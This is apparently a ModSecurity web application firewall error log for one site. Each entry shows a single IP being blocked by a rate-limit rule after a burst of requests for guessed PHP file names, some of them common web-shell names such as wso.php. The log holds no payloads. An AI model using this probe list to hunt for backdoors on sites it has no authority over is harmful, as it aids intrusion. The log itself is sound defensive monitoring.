[Sun Dec 14 18:53:30.781296 2025] [:error] [pid 40596:tid 40633] [client 4.194.46.139:17480] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aT6XKmvZZo4N2X7WoLxwswAAAcc"]
[Sun Dec 14 18:53:31.818716 2025] [:error] [pid 13799:tid 13810] [client 4.194.46.139:10095] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aT6XK3jPEin01ElFTNYccQAAAgg"]
[Sun Dec 14 18:53:33.323363 2025] [:error] [pid 39524:tid 39558] [client 4.194.46.139:10170] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aT6XLWrVGpbDzFtDE9PCEQAAAEI"]
[Sun Dec 14 18:53:33.873463 2025] [:error] [pid 13799:tid 13804] [client 4.194.46.139:17490] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aT6XLXjPEin01ElFTNYccwAAAgI"]
[Sun Dec 14 18:53:34.849142 2025] [:error] [pid 39523:tid 39529] [client 4.194.46.139:10155] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aT6XLjQTQH1raAj2lkjIEwAAAAE"]
[Sun Dec 14 18:53:35.834678 2025] [:error] [pid 39614:tid 39631] [client 4.194.46.139:10056] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aT6XL_xybG8-9MflbDdKlQAAAM8"]
[Sun Dec 14 18:53:36.464661 2025] [:error] [pid 13799:tid 13818] [client 4.194.46.139:17419] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aT6XMHjPEin01ElFTNYcdQAAAhA"]
[Sun Dec 14 18:53:36.999043 2025] [:error] [pid 13799:tid 13821] [client 4.194.46.139:10152] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aT6XMHjPEin01ElFTNYcdwAAAhM"]
[Sun Dec 14 18:53:37.751332 2025] [:error] [pid 41600:tid 41623] [client 4.194.46.139:10075] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aT6XMdFLTBZjcwNd_Vvc0AAAARQ"]
[Sun Dec 14 18:53:38.678514 2025] [:error] [pid 40561:tid 40584] [client 4.194.46.139:10092] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aT6XMoY6r869zoqRQkSyrAAAAVM"]
[Sun Dec 14 18:53:40.634826 2025] [:error] [pid 41600:tid 41620] [client 4.194.46.139:10211] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aT6XNNFLTBZjcwNd_Vvc2AAAARE"]
[Sun Dec 14 18:53:41.515281 2025] [:error] [pid 39614:tid 39625] [client 4.194.46.139:10145] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aT6XNfxybG8-9MflbDdKrAAAAMk"]
[Sun Dec 14 18:54:01.697915 2025] [:error] [pid 41600:tid 41621] [client 4.194.46.139:10099] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aT6XSdFLTBZjcwNd_Vvc_wAAARI"]
[Sun Dec 14 18:54:02.098801 2025] [:error] [pid 39525:tid 39597] [client 4.194.46.139:10003] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aT6XSk1fX_pB_BrvE_4uoAAAAI4"]
[Sun Dec 14 18:54:02.610756 2025] [:error] [pid 40561:tid 40579] [client 4.194.46.139:17531] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aT6XSoY6r869zoqRQkSyswAAAU4"]
[Sun Dec 14 18:54:03.714884 2025] [:error] [pid 39614:tid 39628] [client 4.194.46.139:10014] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aT6XS_xybG8-9MflbDdKvAAAAMw"]
[Sun Dec 14 18:54:04.677856 2025] [:error] [pid 40596:tid 40626] [client 4.194.46.139:10161] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aT6XTGvZZo4N2X7WoLxxLwAAAcA"]
[Sun Dec 14 18:54:05.409721 2025] [:error] [pid 39614:tid 39627] [client 4.194.46.139:10173] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aT6XTfxybG8-9MflbDdKwwAAAMs"]
[Sun Dec 14 18:54:06.226385 2025] [:error] [pid 40595:tid 40606] [client 4.194.46.139:10181] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aT6XTvjrht6y4RN-xKT-pgAAAYc"]
[Sun Dec 14 18:54:06.855678 2025] [:error] [pid 40561:tid 40574] [client 4.194.46.139:17450] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aT6XToY6r869zoqRQkSyvAAAAUk"]
[Sun Dec 14 18:54:07.534841 2025] [:error] [pid 39525:tid 39600] [client 4.194.46.139:17510] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aT6XT01fX_pB_BrvE_4uxwAAAJE"]
[Sun Dec 14 18:54:08.238756 2025] [:error] [pid 40595:tid 40619] [client 4.194.46.139:10166] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aT6XUPjrht6y4RN-xKT-pwAAAZQ"]
[Sun Dec 14 18:54:08.918440 2025] [:error] [pid 41600:tid 41610] [client 4.194.46.139:10160] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aT6XUNFLTBZjcwNd_VvdDwAAAQc"]
[Sun Dec 14 18:54:09.764294 2025] [:error] [pid 41600:tid 41621] [client 4.194.46.139:10088] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aT6XUdFLTBZjcwNd_VvdEwAAARI"]
[Sun Dec 14 18:54:11.030499 2025] [:error] [pid 39523:tid 39542] [client 4.194.46.139:10157] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aT6XUzQTQH1raAj2lkjIkgAAAA4"]
[Sun Dec 14 18:54:11.681698 2025] [:error] [pid 39524:tid 39566] [client 4.194.46.139:10146] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aT6XU2rVGpbDzFtDE9PCOwAAAEo"]
[Sun Dec 14 18:54:13.376106 2025] [:error] [pid 39524:tid 39559] [client 4.194.46.139:17417] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aT6XVWrVGpbDzFtDE9PCYAAAAEM"]
[Sun Dec 14 18:54:15.039767 2025] [:error] [pid 40595:tid 40603] [client 4.194.46.139:17425] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aT6XV_jrht6y4RN-xKT-6gAAAYQ"]
[Sun Dec 14 18:54:16.711578 2025] [:error] [pid 13799:tid 13824] [client 4.194.46.139:17409] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aT6XWHjPEin01ElFTNYc8wAAAhY"]
[Sun Dec 14 18:54:18.188496 2025] [:error] [pid 39523:tid 39532] [client 4.194.46.139:17416] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aT6XWjQTQH1raAj2lkjIlAAAAAQ"]
[Sun Dec 14 18:54:19.214701 2025] [:error] [pid 13799:tid 13825] [client 4.194.46.139:17422] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aT6XW3jPEin01ElFTNYc-wAAAhc"]
[Sun Dec 14 18:54:19.917846 2025] [:error] [pid 41600:tid 41611] [client 4.194.46.139:10232] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aT6XW9FLTBZjcwNd_VvdhQAAAQg"]
[Sun Dec 14 18:54:21.544309 2025] [:error] [pid 39614:tid 39640] [client 4.194.46.139:10208] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aT6XXfxybG8-9MflbDdK7wAAANg"]
[Sun Dec 14 18:54:23.933288 2025] [:error] [pid 40596:tid 40649] [client 4.194.46.139:17430] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aT6XX2vZZo4N2X7WoLxxWgAAAdc"]
[Sun Dec 14 18:54:25.529666 2025] [:error] [pid 41600:tid 41607] [client 4.194.46.139:10184] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aT6XYdFLTBZjcwNd_VvdqgAAAQQ"]
[Sun Dec 14 18:54:26.957388 2025] [:error] [pid 41600:tid 41609] [client 4.194.46.139:10072] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aT6XYtFLTBZjcwNd_VvdqwAAAQY"]
[Sun Dec 14 18:54:28.482291 2025] [:error] [pid 39524:tid 39572] [client 4.194.46.139:10186] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aT6XZGrVGpbDzFtDE9PCegAAAFA"]
[Sun Dec 14 18:54:29.103528 2025] [:error] [pid 39525:tid 39588] [client 4.194.46.139:17415] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aT6XZU1fX_pB_BrvE_4u4QAAAIU"]
[Sun Dec 14 18:54:30.504377 2025] [:error] [pid 39524:tid 39560] [client 4.194.46.139:17489] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aT6XZmrVGpbDzFtDE9PCewAAAEQ"]
[Sun Dec 14 18:54:33.085878 2025] [:error] [pid 39525:tid 39595] [client 4.194.46.139:17515] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo.php"] [unique_id "aT6XaU1fX_pB_BrvE_4u6gAAAIw"]
[Sun Dec 14 18:54:34.170774 2025] [:error] [pid 39524:tid 39571] [client 4.194.46.139:17509] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aT6XamrVGpbDzFtDE9PCfQAAAE8"]
[Sun Dec 14 18:54:35.341248 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:17511] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aT6Xa9FLTBZjcwNd_VvdrwAAAQk"]
[Sun Dec 14 18:54:36.008532 2025] [:error] [pid 39524:tid 39565] [client 4.194.46.139:17523] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aT6XbGrVGpbDzFtDE9PCfwAAAEk"]
[Sun Dec 14 18:54:36.884908 2025] [:error] [pid 13799:tid 13805] [client 4.194.46.139:17497] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aT6XbHjPEin01ElFTNYdEgAAAgM"]
[Sun Dec 14 18:54:37.404999 2025] [:error] [pid 39524:tid 39559] [client 4.194.46.139:10016] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aT6XbWrVGpbDzFtDE9PCgQAAAEM"]
[Sun Dec 14 18:54:37.780565 2025] [:error] [pid 39523:tid 39549] [client 4.194.46.139:17499] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aT6XbTQTQH1raAj2lkjImQAAABU"]
[Sun Dec 14 18:54:38.241028 2025] [:error] [pid 41600:tid 41605] [client 4.194.46.139:10006] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aT6XbtFLTBZjcwNd_VvdtAAAAQI"]
[Sun Dec 14 18:54:39.116763 2025] [:error] [pid 39523:tid 39528] [client 4.194.46.139:17525] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rk2.php"] [unique_id "aT6XbzQTQH1raAj2lkjInAAAAAA"]
[Sun Dec 14 18:54:41.245096 2025] [:error] [pid 41600:tid 41608] [client 4.194.46.139:10144] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aT6XcdFLTBZjcwNd_VvdtgAAAQU"]
[Sun Dec 14 18:54:41.592399 2025] [:error] [pid 39614:tid 39631] [client 4.194.46.139:10062] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aT6XcfxybG8-9MflbDdLGgAAAM8"]
[Sun Dec 14 18:54:42.037847 2025] [:error] [pid 40596:tid 40628] [client 4.194.46.139:17413] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aT6XcmvZZo4N2X7WoLxxqAAAAcI"]
[Sun Dec 14 18:54:42.399385 2025] [:error] [pid 40596:tid 40636] [client 4.194.46.139:17438] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aT6XcmvZZo4N2X7WoLxxqQAAAco"]
[Sun Dec 14 18:54:43.089157 2025] [:error] [pid 40561:tid 40572] [client 4.194.46.139:17458] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aT6Xc4Y6r869zoqRQkSy1AAAAUc"]
[Sun Dec 14 18:54:43.400869 2025] [:error] [pid 39614:tid 39621] [client 4.194.46.139:10180] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aT6Xc_xybG8-9MflbDdLHAAAAMU"]
[Sun Dec 14 18:54:44.716435 2025] [:error] [pid 39523:tid 39542] [client 4.194.46.139:17428] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aT6XdDQTQH1raAj2lkjIoAAAAA4"]
[Sun Dec 14 18:54:45.540674 2025] [:error] [pid 39614:tid 39620] [client 4.194.46.139:17433] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aT6XdfxybG8-9MflbDdLHgAAAMQ"]
[Sun Dec 14 18:54:46.023303 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:17429] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aT6XdtFLTBZjcwNd_VvduwAAARM"]
